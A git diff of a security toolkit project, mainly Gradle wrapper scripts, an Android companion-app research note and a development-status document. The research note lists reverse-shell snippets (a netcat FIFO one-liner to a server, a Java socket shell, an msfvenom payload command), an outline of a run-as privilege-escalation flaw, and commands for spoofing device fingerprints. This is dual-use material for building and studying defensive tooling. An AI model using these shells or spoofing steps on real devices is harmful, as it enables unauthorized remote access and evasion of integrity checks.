'%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/autarch_companion/gradlew.bat b/autarch_companion/gradlew.bat new file mode 100644 index 0000000..c4bdd3a --- /dev/null +++ b/autarch_companion/gradlew.bat @@ -0,0 +1,93 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/autarch_companion/research.md b/autarch_companion/research.md new file mode 100644 index 0000000..83b8e82 --- /dev/null +++ b/autarch_companion/research.md @@ -0,0 +1,293 @@ +# Archon Research — Consolidated Findings +## darkHal Security Group — Project AUTARCH +**Last Updated:** 2026-02-20 + +--- + +## 1. On-Device LLM Engines + +### SmolChat-Android (Recommended) +- **Source:** https://github.com/shubham0204/SmolChat-Android +- **License:** Apache 2.0 +- **Stack:** Kotlin + llama.cpp JNI bindings +- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API +- **Model format:** GGUF (huge ecosystem on HuggingFace) +- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds +- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata +- **What it doesn't have:** No tool-calling — we add that via Koog (below) +- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality) +- **Status:** Best choice for inference engine. Embed `smollm` module into Archon. + +### mllm +- **Source:** https://github.com/UbiquitousLearning/mllm +- **License:** MIT +- **Stack:** C++20 custom engine +- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration +- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF) +- **Drawback:** Much harder to integrate, custom format limits model selection +- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration. + +--- + +## 2. AI Agent Frameworks + +### Koog AI (Recommended for Archon) +- **Source:** https://docs.koog.ai/ +- **License:** Apache 2.0 (JetBrains) +- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android +- **Key features:** + - 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic) + - First-class tool-calling with class-based tools (works on Android) + - Agent memory, persistence, checkpoints, history compression + - Structured output via kotlinx.serialization + - GOAP planner (A* search for action planning — game AI technique) + - MCP integration (discover/use external tools) + - Multi-agent: agents-as-tools, agent-to-agent protocol +- **Version:** 0.6.2 +- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency +- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke) +- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation. + +### SmolChat + Koog Combo +- SmolChat provides the on-device inference engine (GGUF/llama.cpp) +- Koog provides the agent framework (tools, planning, memory, structured output) +- Together: fully autonomous, fully offline security AI agent on the phone +- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend + +### GitHub Copilot SDK +- **Source:** https://github.com/github/copilot-sdk +- **License:** MIT (SDK), proprietary (CLI binary ~61MB) +- **Stack:** Python/TypeScript/Go/.NET SDKs +- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists +- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built. +- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored. + +--- + +## 3. ADB Exploitation & Automation + +### PhoneSploit-Pro +- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro +- **License:** GPL-3.0 +- **What:** Python ADB automation framework (40+ exploits/actions) +- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing +- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule. +- **Status:** Reference material. We implement our own versions with better safety controls. + +--- + +## 4. Android Reverse Shell Techniques + +### Technique 1: Java ProcessBuilder + Socket (Our Approach) +```java +// Connect back to server, pipe shell I/O over socket +Socket socket = new Socket(serverIp, serverPort); +ProcessBuilder pb = new ProcessBuilder("sh"); +Process process = pb.start(); +// Forward process stdin/stdout over socket +``` +- **Privilege:** Runs at whatever UID the process has +- **Our twist:** Run via `app_process` at UID 2000 (shell level) +- **Advantage:** No external tools needed, pure Java, clean control flow + +### Technique 2: Netcat + FIFO +```bash +mkfifo /data/local/tmp/f +cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f +``` +- **Requires:** `nc` (netcat) available on device +- **Advantage:** Simple, works from any shell +- **Disadvantage:** No auth, no encryption, no special commands + +### Technique 3: msfvenom Payloads +```bash +msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk +``` +- **Generates:** Standalone APK with Meterpreter payload +- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https +- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency +- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist + +--- + +## 5. Android Privilege Escalation + +### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14) +- **Disclosed by:** Meta security researchers +- **Severity:** Critical — full root access on unpatched devices +- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15) +- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system). +- **Steps:** + 1. Shell can write to `/data/local/tmp/` + 2. Exploit the TOCTOU race in how `run-as` reads package info + 3. `run-as` runs as UID 2000 but switches context to target UID +- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot). + +### Shell-Level Capabilities (UID 2000) +Full command access without root: +- `pm` — install, uninstall, disable, grant/revoke permissions +- `am` — start activities, broadcast, force-stop processes +- `settings` — read/write system, secure, global settings +- `dumpsys` — dump any system service state +- `cmd` — direct commands to system services (appops, jobscheduler, connectivity) +- `content` — query/modify content providers (contacts, SMS, call log) +- `service call` — raw Binder IPC (clipboard, etc.) +- `input` — inject touch/key events (UI automation) +- `screencap`/`screenrecord` — capture display +- `svc` — control wifi, data, power, USB, NFC +- `dpm` — device policy manager (remove device admins) +- `logcat` — system logs +- `run-as` — switch to debuggable app context + +### What Shell CANNOT Do (Root Required) +- Write to /system, /vendor, /product +- `setenforce 0` (set SELinux permissive) +- Access other apps' /data/data/ directly +- Load/unload kernel modules +- iptables/nftables (CAP_NET_ADMIN) +- Mount/unmount filesystems + +--- + +## 6. Anti-Forensics (Anti-Cellebrite) + +Cellebrite UFED and similar forensic tools attack vectors: +- ADB exploitation (need ADB enabled or USB exploit) +- Bootloader-level extraction +- Known CVE exploitation chains +- Content provider dumping + +### Shell-Level Defenses +```bash +# USB Lockdown +svc usb setFunctions charging +settings put global adb_enabled 0 + +# Detect Cellebrite (known USB vendor IDs, rapid content query storms) +# Monitor USB events: /proc/bus/usb/devices + +# Emergency data protection on forensic detection: +# - Revoke all app permissions +# - Clear clipboard (service call clipboard) +# - Force-stop sensitive apps +# - Disable USB debugging +# - Change lock to maximum security +``` + +### Architecture for Archon +- Background monitoring thread: USB events + logcat +- Forensic tool USB vendor ID database +- Configurable responses: lockdown / alert / wipe sensitive / plant decoys +- "Duress PIN" concept: specific PIN triggers data protection + +--- + +## 7. Anti-Spyware (Anti-Pegasus) + +NSO Group's Pegasus and similar state-level spyware use: +- Zero-click exploits via iMessage, WhatsApp, SMS +- Kernel exploits for persistence +- Memory-only implants (no files on disk) + +### Shell-Level Monitoring +```bash +# Suspicious process detection +dumpsys activity processes | grep -i "pegasus\|chrysaor" + +# Hidden processes (deleted exe links = classic implant pattern) +cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted" + +# Exploit indicators in logs +logcat -d | grep -iE "exploit|overflow|heap|spray|jit" + +# Unauthorized root checks +ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null +cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive + +# Certificate injection (MITM) +ls /data/misc/user/0/cacerts-added/ 2>/dev/null + +# Known spyware package patterns +pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier" +``` + +### Archon Shield Integration +- Periodic background scans (configurable interval) +- Known C2 IP/domain database (updated from AUTARCH server) +- Process anomaly detection (unexpected UIDs, deleted exe links) +- Network connection monitoring against threat intel + +--- + +## 8. Device Fingerprint Manipulation + +### Play Integrity Levels +1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing +2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile +3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level) + +### Shell-Level Spoofing +```bash +# Android ID rotation +settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16) + +# Build fingerprint spoofing +setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys" +setprop ro.product.model "Pixel 6 Pro" + +# "Old device" trick (bypass hardware attestation requirement) +setprop ro.product.first_api_level 28 # Pretend shipped with Android 9 +``` + +### Donor Key Approach +- Valid attestation certificate chains from donor devices could theoretically be replayed +- Keys are burned into TEE/SE at factory +- Google revokes leaked keys quickly +- Legally/ethically complex — research only + +--- + +## 9. Samsung S20/S21 Specifics (TODO) + +### JTAG/Debug Access +- JTAG pinpoints and schematics for S20/S21 hardware debugging +- Bootloader weakness analysis (Samsung Knox, secure boot chain) +- Secureboot partition dumping techniques + +### Hardening Guide +- Samsung-specific security settings and Knox configuration +- Tool section for Samsung devices + +**Status:** Research needed — not yet documented. + +--- + +## 10. Future: LLM Suite Architecture + +### Recommended Stack +``` +┌──────────────────────────────────────┐ +│ Koog AI Agent Layer │ +│ (tools, GOAP planner, memory) │ +├──────────────────────────────────────┤ +│ SmolChat smollm Module │ +│ (GGUF inference, llama.cpp JNI) │ +├──────────────────────────────────────┤ +│ Security Tools (Kotlin) │ +│ (ScanPackagesTool, │ +│ RestrictTrackerTool, etc.) │ +├──────────────────────────────────────┤ +│ PrivilegeManager │ +│ (ROOT/ARCHON_SERVER/ADB/NONE) │ +└──────────────────────────────────────┘ +``` + +### Integration Steps +1. Add `smollm` as module dependency (embeds llama.cpp JNI) +2. Add `koog-agents` Gradle dependency +3. Define security tools as Koog class-based tools +4. Create "Security Guardian" agent with GOAP planner +5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server +6. Agent autonomously monitors and responds to threats + +**Status:** Future phase — implement after reverse shell is complete. diff --git a/autarch_companion/settings.gradle.kts b/autarch_companion/settings.gradle.kts new file mode 100644 index 0000000..6025a5a --- /dev/null +++ b/autarch_companion/settings.gradle.kts @@ -0,0 +1,18 @@ +pluginManagement { + repositories { + google() + mavenCentral() + gradlePluginPortal() + } +} +dependencyResolutionManagement { + repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) + repositories { + google() + mavenCentral() + maven { url = uri("https://jitpack.io") } + } +} + +rootProject.name = "Archon" +include(":app") diff --git a/autarch_dev.md b/autarch_dev.md new file mode 100644 index 0000000..c682a8c --- /dev/null +++ b/autarch_dev.md @@ -0,0 +1,526 @@ +# AUTARCH Development Status +## darkHal Security Group - Project AUTARCH +**Last Updated:** 2026-02-28 + +--- + +## Project Overview + +AUTARCH is a full-stack security platform built in Python. It combines a CLI framework with a Flask web dashboard, LLM integration (llama.cpp, HuggingFace transformers, Claude API), Metasploit/RouterSploit RPC integration, an OSINT database with 7,200+ sites, and physical hardware device management. + +**Codebase:** ~40,000 lines of Python across 65 source files + 3,237 lines JS/CSS +**Location:** `/home/snake/autarch/` +**Platform:** Linux (Orange Pi 5 Plus, RK3588 ARM64) + +--- + +## Current Architecture + +``` +autarch/ +├── autarch.py # Main entry point (613 lines) - CLI + --web flag +├── autarch_settings.conf # INI config (11 sections) +├── core/ # 25 Python modules (~12,500 lines) +│ ├── agent.py # Autonomous agent loop (THOUGHT/ACTION/PARAMS) +│ ├── banner.py # ASCII banner +│ ├── config.py # Config handler with typed getters +│ ├── cve.py # NVD API v2.0 + SQLite CVE database +│ ├── android_protect.py # Anti-stalkerware/spyware shield +│ ├── hardware.py # ADB/Fastboot/Serial/ESP32 manager +│ ├── llm.py # LLM wrapper (llama.cpp + transformers + Claude + HuggingFace) +│ ├── menu.py # Category menu system (8 categories) +│ ├── msf.py # Metasploit RPC client (msgpack) +│ ├── msf_interface.py # Centralized MSF interface +│ ├── msf_modules.py # MSF module library (45 modules) +│ ├── msf_terms.py # MSF settings term bank (54 settings) +│ ├── pentest_pipeline.py # PentestGPT 3-module pipeline +│ ├── pentest_session.py # Pentest session persistence +│ ├── pentest_tree.py # Penetration Testing Tree (MITRE ATT&CK) +│ ├── report_generator.py # HTML report generator +│ ├── rsf.py # RouterSploit integration +│ ├── rsf_interface.py # Centralized RSF interface +│ ├── rsf_modules.py # RSF module library +│ ├── rsf_terms.py # RSF settings term bank +│ ├── sites_db.py # OSINT sites SQLite DB (7,287 sites) +│ ├── tools.py # Tool registry (12+ tools + MSF tools) +│ ├── upnp.py # UPnP port forwarding manager +│ ├── wireshark.py # tshark/pyshark wrapper +│ ├── wireguard.py # WireGuard VPN + Remote ADB manager +│ ├── discovery.py # Network discovery (mDNS + Bluetooth advertising) +│ └── mcp_server.py # MCP server (expose AUTARCH tools to AI clients) +│ +├── modules/ # 26 modules (~11,000 lines) +│ ├── adultscan.py # Adult site username scanner (osint) +│ ├── android_protect.py # Android protection shield CLI (defense) +│ ├── agent.py # Agent task interface (core) +│ ├── agent_hal.py # Agent Hal v2.0 - AI automation (core) +│ ├── analyze.py # File forensics (analyze) +│ ├── chat.py # LLM chat interface (core) +│ ├── counter.py # Threat detection (counter) +│ ├── defender.py # System hardening + scan monitor (defense) +│ ├── dossier.py # OSINT investigation manager (osint) +│ ├── geoip.py # GEO IP lookup (osint) +│ ├── hardware_local.py # Local hardware access CLI (hardware) +│ ├── hardware_remote.py # Remote hardware stub (hardware) +│ ├── msf.py # MSF interface v2.0 (offense) +│ ├── mysystem.py # System audit + CVE detection (defense) +│ ├── nettest.py # Network testing (utility) +│ ├── recon.py # OSINT recon + nmap scanner (osint) +│ ├── rsf.py # RouterSploit interface (offense) +│ ├── setup.py # First-run setup wizard +│ ├── simulate.py # Attack simulation (simulate) +│ ├── snoop_decoder.py # Snoop database decoder (osint) +│ ├── upnp_manager.py # UPnP port management (defense) +│ ├── wireshark.py # Packet capture/analysis (analyze) +│ ├── wireguard_manager.py # WireGuard VPN manager CLI (defense) +│ ├── workflow.py # Workflow automation +│ └── yandex_osint.py # Yandex OSINT (osint) +│ +├── web/ # Flask web dashboard +│ ├── app.py # App factory (16 blueprints) +│ ├── auth.py # Session auth (bcrypt) +│ ├── routes/ # 15 route files (~4,500 lines) +│ │ ├── analyze.py, android_protect.py, auth_routes.py, counter.py +│ │ ├── chat.py, dashboard.py, defense.py, hardware.py, msf.py, offense.py +│ │ ├── osint.py, settings.py, simulate.py, upnp.py, wireshark.py +│ │ └── wireguard.py +│ ├── templates/ # 18 Jinja2 templates +│ │ ├── base.html (dark theme, sidebar nav, HAL chat panel, debug popup) +│ │ ├── android_protect.html, dashboard.html, login.html +│ │ ├── hardware.html, wireshark.html, wireguard.html, defense.html, offense.html +│ │ ├── counter.html, analyze.html, osint.html, simulate.html +│ │ ├── msf.html (MSF RPC terminal console) +│ │ ├── settings.html, llm_settings.html, upnp.html, category.html +│ └── static/ +│ ├── css/style.css # Dark theme +│ ├── js/app.js # Vanilla JS (HAL chat + debug console + hardware) +│ ├── js/hardware-direct.js # WebUSB/Web Serial direct-mode API (752 lines) +│ └── js/lib/ +│ ├── adb-bundle.js # ya-webadb bundled (57KB) +│ ├── fastboot-bundle.js # fastboot.js bundled (146KB) +│ └── esptool-bundle.js # esptool-js bundled (176KB) +│ +├── autarch_companion/ # Archon Android app (29 files, Kotlin) +│ ├── app/src/main/kotlin/com/darkhal/archon/ # Kotlin source (8 files) +│ ├── app/src/main/res/ # Layouts, themes, icons (12 XML files) +│ └── app/src/main/assets/bbs/ # BBS terminal WebView (3 files) +│ +├── data/ # Persistent data +│ ├── android_protect/ # Per-device scan reports and configs +│ ├── wireguard/ # WireGuard client configs and state +│ ├── cve/cve.db # CVE SQLite database +│ ├── hardware/ # Hardware operation data +│ ├── pentest_sessions/ # Pentest session JSON files +│ ├── sites/sites.db # OSINT sites database +│ ├── stalkerware_signatures.json # Stalkerware/spyware signature DB (275+ packages) +│ └── uploads/ # Web file uploads +│ +├── .config/ # Hardware config templates +│ ├── nvidia_4070_mobile.conf +│ ├── amd_rx6700xt.conf +│ ├── orangepi5plus_cpu.conf +│ ├── orangepi5plus_mali.conf +│ └── custom/ # User-saved configs +│ +├── dossiers/ # OSINT dossier JSON files +└── results/ # Reports and scan results +``` + +--- + +## Categories & Menu System + +| # | Category | Modules | Description | +|---|----------|---------|-------------| +| 1 | Defense | defender, mysystem, upnp_manager, scan monitor, android_protect, wireguard_manager | System audit, CVE detection, UPnP, scan monitoring, Android anti-stalkerware, WireGuard VPN | +| 2 | Offense | msf, rsf, agent_hal (pentest pipeline) | MSF/RSF automation, AI-guided pentesting | +| 3 | Counter | counter | Threat detection, rootkit checks, anomaly detection | +| 4 | Analyze | analyze, wireshark | File forensics, packet capture/analysis | +| 5 | OSINT | recon, adultscan, dossier, geoip, yandex, snoop | Username scan (7K+ sites), nmap, dossier management | +| 6 | Simulate | simulate | Port scan, password audit, payload generation | +| 7 | Hardware | hardware_local, hardware_remote | ADB/Fastboot/Serial/ESP32 device management | +| 99 | Settings | setup | LLM, MSF, OSINT, UPnP, web, pentest config | + +--- + +## Technology Stack + +- **Language:** Python 3.10 +- **Web:** Flask, Jinja2, vanilla JS, SSE (Server-Sent Events) +- **LLM Backends:** llama-cpp-python (GGUF), HuggingFace transformers (SafeTensors), Anthropic Claude API, HuggingFace Inference API +- **MCP:** Model Context Protocol server (11 tools, stdio + SSE transports) +- **Databases:** SQLite (CVEs, OSINT sites), JSON (sessions, dossiers, configs, stalkerware signatures) +- **Integrations:** Metasploit RPC (msgpack), RouterSploit, NVD API v2.0, social-analyzer +- **Hardware:** ADB/Fastboot (Android SDK), pyserial + esptool (ESP32), tshark/pyshark +- **Network:** miniupnpc (UPnP), nmap, tcpdump, WireGuard (wg/wg-quick), USB/IP + +--- + +## Evolution Plan (from master_plan.md) + +| Phase | Description | Status | +|-------|-------------|--------| +| Phase 0 | Backup & new working directory (`~/autarch`) | DONE | +| Phase 1 | UPnP Manager integration | DONE | +| Phase 2 | Flask web dashboard (12 blueprints, 14 templates) | DONE | +| Phase 3 | OSINT search engine (web UI) | DONE | +| Phase 4 | Wireshark module (tshark + pyshark) | DONE | +| Phase 4.5 | Hardware module (ADB/Fastboot/ESP32) | DONE | +| Phase 4.6 | Android Protection Shield (anti-stalkerware/spyware) | DONE | +| Phase 4.7 | Tracking Honeypot (fake data for ad trackers) | DONE | +| Phase 4.8 | WireGuard VPN + Remote ADB (TCP/IP & USB/IP) | DONE | +| Phase 4.9 | Archon Android Companion App | DONE | +| Phase 4.10 | HuggingFace Inference + MCP Server + Service Mode | DONE | +| Phase 4.12 | MSF Web Module Execution + Agent Hal + Global AI Chat | DONE | +| Phase 4.13 | Debug Console (floating log panel, 5 filter modes) | DONE | +| Phase 4.14 | WebUSB "Already In Use" fix (USB interface release on disconnect) | DONE | +| Phase 4.15 | LLM Settings sub-page (4 backends, full params, folder model scanner) | DONE | +| Phase 5 | Path portability & Windows support | MOSTLY DONE | +| Phase 6 | Docker packaging | NOT STARTED | +| Phase 7 | System Tray + Beta Release (EXE + MSI) | TODO | + +### Additions Beyond Original Plan +- **RSF (RouterSploit)** integration (core/rsf*.py, modules/rsf.py) +- **Workflow module** (modules/workflow.py) +- **Nmap scanner** integrated into OSINT recon +- **Scan monitor** integrated into defense module +- **Android Protection Shield** — anti-stalkerware/spyware detection and remediation +- **MCP Server** — expose 11 AUTARCH tools via Model Context Protocol +- **HuggingFace Inference API** — remote model inference backend +- **Systemd Service** — run web dashboard as background service +- **Sideload** — push Archon APK to Android devices via ADB + +--- + +## What Was Recently Added (Phase 4.12–4.15) + +### MSF Web Module Execution + Agent Hal (Phase 4.12) +- `web/routes/offense.py` — `POST /offense/module/run` SSE stream + `POST /offense/module/stop` +- `web/templates/offense.html` — Run Module tabs (SSH/PortScan/OSDetect/Custom) + Agent Hal panel +- `web/routes/msf.py` (NEW) — MSF RPC console blueprint at `/msf/` +- `web/templates/msf.html` (NEW) — dark terminal MSF console UI +- `web/routes/chat.py` (NEW) — `/api/chat` SSE, `/api/agent/run|stream|stop` +- `web/templates/base.html` — global HAL chat panel (fixed bottom-right) + MSF Console nav link +- `web/static/js/app.js` — `halToggle/Send/Append/Scroll/Clear()` functions +- `web/app.py` — registered msf_bp + chat_bp +- `core/agent.py` — added `step_callback` param to `Agent.run()` for SSE step streaming + +### Debug Console (Phase 4.13) +- `web/routes/settings.py` — `_DebugBufferHandler`, `_ensure_debug_handler()`, 4 debug API routes +- `web/templates/settings.html` — Debug Console section with enable toggle + test buttons +- `web/templates/base.html` — draggable floating debug popup, DBG toggle button +- `web/static/js/app.js` — full debug JS: stream, filter (5 modes), format, drag +- 5 filter modes: Warnings & Errors | Full Verbose | Full Debug + Symbols | Output Only | Show Everything + +### WebUSB "Already In Use" Fix (Phase 4.14) +- `web/static/js/hardware-direct.js` — `adbDisconnect()` releases USB interface; `adbConnect()` detects Windows "already in use", auto-retries, shows actionable "run adb kill-server" message + +### LLM Settings Sub-Page (Phase 4.15) +- `core/config.py` — added `get_openai_settings()` (api_key, base_url, model, max_tokens, temperature, top_p, frequency_penalty, presence_penalty) +- `web/routes/settings.py` — `GET /settings/llm` (sub-page), `POST /settings/llm/scan-models` (folder scanner), updated `POST /settings/llm` for openai backend +- `web/templates/settings.html` — LLM section replaced with sub-menu card linking to `/settings/llm` +- `web/templates/llm_settings.html` (NEW) — 4-tab dedicated LLM config page: + - **Local**: folder browser → model file list (.gguf/.safetensors) + full llama.cpp AND transformers params + - **Claude**: API key + model dropdown + basic params + - **OpenAI**: API key + base_url + model + basic params + - **HuggingFace**: token login + verify + model ID + 8 provider options + full generation params + +--- + +## What Was Recently Added (Phase 4.10) + +### HuggingFace Inference API Backend +- `core/llm.py` — `HuggingFaceLLM` class using `huggingface_hub.InferenceClient` +- Supports `text_generation()` and `chat_completion()` with streaming +- Config section: `[huggingface]` (api_key, model, endpoint, max_tokens, temperature, top_p) +- `config.py` — added `get_huggingface_settings()` method + +### MCP Server (Model Context Protocol) +- `core/mcp_server.py` — FastMCP server exposing 11 AUTARCH tools +- **Tools:** nmap_scan, geoip_lookup, dns_lookup, whois_lookup, packet_capture, 